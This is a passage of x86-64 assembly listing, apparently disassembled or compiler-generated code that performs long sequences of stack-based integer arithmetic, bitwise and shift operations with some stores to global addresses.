mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe28]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc160], rax
mov eax, dword [rsp + 0x69f4]
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xc0a0]
mov rcx, qword [rsp + 0xbc90]
mov qword [rsp + 0xc3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbee8], rax
lea rax, [rsp + 0x6a18]
mov qword [rsp + 0xc3d0], rax
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
lea rax, [rsp + 0x1638]
mov qword [0x1402c91e8], rax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0xbff0]
movzx eax, word [rax]
mov word [rsp + 0x1644], ax
mov rax, qword [rsp + 0xbc78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov rcx, qword [rsp + 0xbdc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0xc2c0]
mov ecx, dword [rsp + 0x69d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xc330]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6a5c], eax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xbfb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe88], rax
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9100]
mov byte [rcx], al
lea rax, [rsp + 0x1598]
mov qword [rsp + 0xc3d8], rax
movzx eax, word [0x1402c74bc]
movzx ecx, word [rsp + 0x1580]
sub eax, ecx
mov word [rsp + 0x1574], ax
mov rax, qword [rsp + 0xbf40]
movzx eax, byte [rax]
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbdb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0xc200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe60]
mov qword [rsp + 0xc3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
lea rax, [rsp + 0x699c]
mov qword [rsp + 0xc3e8], rax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xc068]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbec0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov dword [rsp + 0x6a60], eax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c748f], al
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc2f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x58]
movsx ecx, byte [rsp + 0x72]
and eax, ecx
mov byte [rsp + 0x5e], al
movzx eax, word [rsp + 0x1540]
mov word [rsp + 0x1648], ax
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
movsx ecx, word [0x1402c74c8]
sub eax, ecx
mov word [rsp + 0x15cc], ax
mov eax, dword [rsp + 0x68ec]
mov dword [rsp + 0x6a64], eax
mov rax, qword [rsp + 0xc2d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xbf10]
mov rcx, qword [rsp + 0xc2a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x699c]
mov dword [rsp + 0x6a68], eax
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74b2], al
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0x96], al
movsx eax, word [rsp + 0x15d4]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc208]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov word [rcx], ax
lea rax, [rsp + 0xc168]
mov qword [rsp + 0xc3f0], rax
mov rax, qword [rsp + 0xbf18]
mov ecx, dword [rsp + 0x6a10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a64], eax
lea rax, [rsp + 0xc388]
mov qword [rsp + 0xc3f8], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c4], eax
lea rax, [rsp + 0x7b]
mov qword [0x1402c91f0], rax
movzx eax, word [rsp + 0x161c]
mov word [rsp + 0x164c], ax
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1614]
mov rcx, qword [rsp + 0xc288]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1568], ax
mov rax, qword [0x1402c9100]
movzx eax, byte [rax]
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xbe18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbf18]
mov dword [rcx], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xc400], rax
mov eax, dword [rsp + 0x6a2c]
mov rcx, qword [rsp + 0xbab0]
mov qword [rsp + 0xc408], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc408]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9e0]
mov rcx, qword [rsp + 0xbde8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc040]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc350]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c91b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov word [rsp + 0x1650], ax
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbe58]
mov byte [rcx], al
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xc410], rax
movsx eax, byte [rsp + 0x8a]
movsx ecx, byte [0x1402c90b2]
sub eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xc310]
mov rcx, qword [rsp + 0xc0e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xc1b0]
mov qword [rsp + 0xc418], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xc3e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xc180]
mov eax, dword [rax]
mov dword [rsp + 0x6a6c], eax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74b3], al
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1584]
sub eax, ecx
mov word [rsp + 0x1650], ax
mov rax, qword [rsp + 0xbaf0]
movzx eax, word [rax]
mov word [rsp + 0x1654], ax
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0xba20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f0]
add eax, ecx
mov word [rsp + 0x15e8], ax
mov eax, dword [rsp + 0x6a24]
mov dword [rsp + 0x6a70], eax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdd0]
mov qword [rsp + 0xc420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc420]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbd40], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xc428], rax
mov rax, qword [rsp + 0xc338]
mov rcx, qword [rsp + 0xc118]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x69e0], eax
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x15fc]
sar eax, cl
mov word [0x1402c9168], ax
movzx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbf20]
mov byte [rcx], al
movzx eax, word [rsp + 0x15a8]
mov word [rsp + 0x1658], ax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x7d]
and eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0xc430], rax
mov rax, qword [rsp + 0xc2a8]
mov rcx, qword [rsp + 0xc2c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe30], rax
mov eax, dword [rsp + 0x6a64]
mov ecx, dword [rsp + 0x6990]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a4], eax
lea rax, [rsp + 0xc160]
mov qword [rsp + 0xc438], rax
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xbc88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbed8]
movzx eax, byte [rax]
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0xbbc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15bc]
sub eax, ecx
mov rcx, qword [0x1402c91b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65]
sub eax, ecx
mov byte [rsp + 0x85], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1538]
add eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0x1604]
mov qword [rsp + 0xc440], rax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xc388]
mov qword [rsp + 0xc448], rax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc038]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbeb8]
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c749f]
or eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0x1554]
mov word [0x1402c91f8], ax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x82], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0xc458], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x1654]
xor eax, ecx
mov rcx, qword [rsp + 0xc288]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov dword [rsp + 0x6a74], eax
mov eax, dword [rsp + 0x69dc]
movzx ecx, al
mov eax, dword [rsp + 0x69d8]
shl eax, cl
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xbc50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbfa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe30]
mov qword [rsp + 0xc460], rax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [0x1402c91e0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6e], al
movsx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xbbc8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c749c], ax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0x1554]
movzx ecx, word [0x1402c9168]
add eax, ecx
mov rcx, qword [rsp + 0xc378]
mov word [rcx], ax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov dword [rsp + 0x6a78], eax
mov rax, qword [rsp + 0xc3f0]
mov rcx, qword [rsp + 0xbf80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xbab0]
mov ecx, dword [rsp + 0x69d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x93], al
movsx eax, word [rsp + 0x1644]
movsx ecx, word [rsp + 0x15bc]
add eax, ecx
mov word [0x1402c74cc], ax
lea rax, [rsp + 0x7e]
mov qword [rsp + 0xc470], rax
mov rax, qword [0x1402c91e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov byte [rcx], al
lea rax, [rsp + 0x1578]
mov qword [rsp + 0xc478], rax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc1c8]
mov rax, qword [rax]
mov qword [rsp + 0xc480], rax
mov rax, qword [rsp + 0xbe68]
mov rcx, qword [rsp + 0xc198]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6a28]
shl eax, cl
mov dword [rsp + 0x68d8], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xc488], rax
movzx eax, word [rsp + 0x1620]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402c74c0], ax
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6b], al
lea rax, [rsp + 0x1654]
mov qword [rsp + 0xc490], rax
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0x96], al
movzx eax, word [rsp + 0x1578]
movzx ecx, word [rsp + 0x153c]
and eax, ecx
mov word [rsp + 0x160c], ax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xc498], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2e0], rax
lea rax, [rsp + 0xc328]
mov qword [rsp + 0xc4a0], rax
mov rax, qword [rsp + 0xc2f8]
mov ecx, dword [rsp + 0x68d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x15ec]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74d0], ax
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0xc458]
mov byte [rcx], al
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc330]
mov qword [rcx], rax
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xc4a8], rax
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a54], eax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xbfc8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc258]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov word [0x1402c91fc], ax
movzx eax, word [rsp + 0x1550]
mov word [rsp + 0x1660], ax
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0xc4b0], rax
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x15a0]
sar eax, cl
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc3d0]
mov dword [rcx], eax
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0xc4b8], rax
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xc120]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbda0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc1e8]
mov rax, qword [rax]
mov qword [rsp + 0xc4c0], rax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov byte [0x1402c748b], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x6a]
sub eax, ecx
mov rcx, qword [rsp + 0xbfe8]
mov byte [rcx], al
mov rax, qword [0x1402c9128]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1640]
sub eax, ecx
mov word [rsp + 0x161c], ax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xc4c8], rax
mov rax, qword [rsp + 0xbf30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15dc]
and eax, ecx
mov word [rsp + 0x160c], ax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x6a7c], eax
mov rax, qword [rsp + 0xbc00]
mov ecx, dword [rsp + 0x6a38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a44], eax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xbf58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc330]
mov rax, qword [rax]
mov qword [rsp + 0xc4d0], rax
movsx eax, word [rsp + 0x15f4]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov word [0x1402c74d0], ax
mov rax, qword [rsp + 0xc3c0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x96], al
movzx eax, word [rsp + 0x1654]
mov word [rsp + 0x1664], ax
mov eax, dword [rsp + 0x6978]
movzx ecx, al
mov eax, dword [0x1402c7498]
shl eax, cl
mov dword [rsp + 0x69c0], eax
mov eax, dword [rsp + 0x6a40]
mov ecx, dword [rsp + 0x69dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c4], eax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xc1a0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbea0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x59]
sar eax, cl
mov byte [0x1402c74b6], al
lea rax, [0x1402c74a0]
mov qword [rsp + 0xc4e0], rax
movsx eax, word [rsp + 0x15d4]
movsx ecx, word [rsp + 0x15e8]
and eax, ecx
mov rcx, qword [rsp + 0xc260]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
lea rax, [0x1402c74a0]
mov qword [rsp + 0xc4e8], rax
mov rax, qword [rsp + 0xba88]
mov rcx, qword [rsp + 0xbda0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc258]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69b0]
mov dword [rsp + 0x6a80], eax
mov rax, qword [rsp + 0xc330]
mov rcx, qword [rsp + 0xc390]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc428], rax
mov eax, dword [rsp + 0x69f0]
mov ecx, dword [rsp + 0x6a64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6900], eax
lea rax, [rsp + 0x1578]
mov qword [0x1402c9200], rax
lea rax, [0x1402c74a3]
mov qword [rsp + 0xc4f0], rax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5c], al
lea rax, [rsp + 0x66]
mov qword [rsp + 0xc4f8], rax
movsx eax, word [rsp + 0x15a0]
movsx ecx, word [0x1402c90c0]
add eax, ecx
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0xbf38]
mov qword [rsp + 0xc500], rax
mov rax, qword [rsp + 0xc380]
mov rcx, qword [rsp + 0xc3d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xc138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xc508], rax
movzx eax, word [rsp + 0x152c]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x156c]
mov word [rsp + 0x1668], ax
movzx eax, byte [rsp + 0x7a]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x65], al
movsx eax, word [rsp + 0x15c0]
movsx ecx, word [rsp + 0x1658]
sar eax, cl
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a0], eax
lea rax, [rsp + 0xc4d8]
mov qword [rsp + 0xc518], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6918]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
movzx eax, word [rsp + 0x1584]
mov word [rsp + 0x166c], ax
movsx eax, word [rsp + 0x1658]
movsx ecx, word [rsp + 0x155c]
add eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [0x1402c9200]
movzx eax, word [rax]
mov word [rsp + 0x1670], ax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3b0], rax
mov rax, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0xbb68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xc2f8]
mov eax, dword [rax]
mov dword [rsp + 0x6a84], eax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68f4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1580]
mov qword [rsp + 0xc520], rax
lea rax, [0x1402c74a5]
mov qword [0x1402c9208], rax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x15d8]
mov qword [rsp + 0xc528], rax
mov rax, qword [rsp + 0xc250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
sub eax, ecx
mov rcx, qword [rsp + 0xc4f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc438]
mov rcx, qword [rsp + 0xc078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc290]
mov eax, dword [rax]
mov dword [rsp + 0x6a88], eax
mov eax, dword [rsp + 0x6a48]
cdq
idiv dword [rsp + 0x6998]
mov dword [rsp + 0x69cc], eax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov qword [rsp + 0xc530], rax
mov rax, qword [rsp + 0xbde0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc350]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc260]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1574]
or eax, ecx
mov word [0x1402c74b4], ax
movzx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0x1614]
mov word [rsp + 0x1674], ax
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbdc8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69a0], eax
mov rax, qword [rsp + 0xc128]
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x699c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc88]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0xc320]
movzx ecx, byte [rcx]
sub eax, ecx
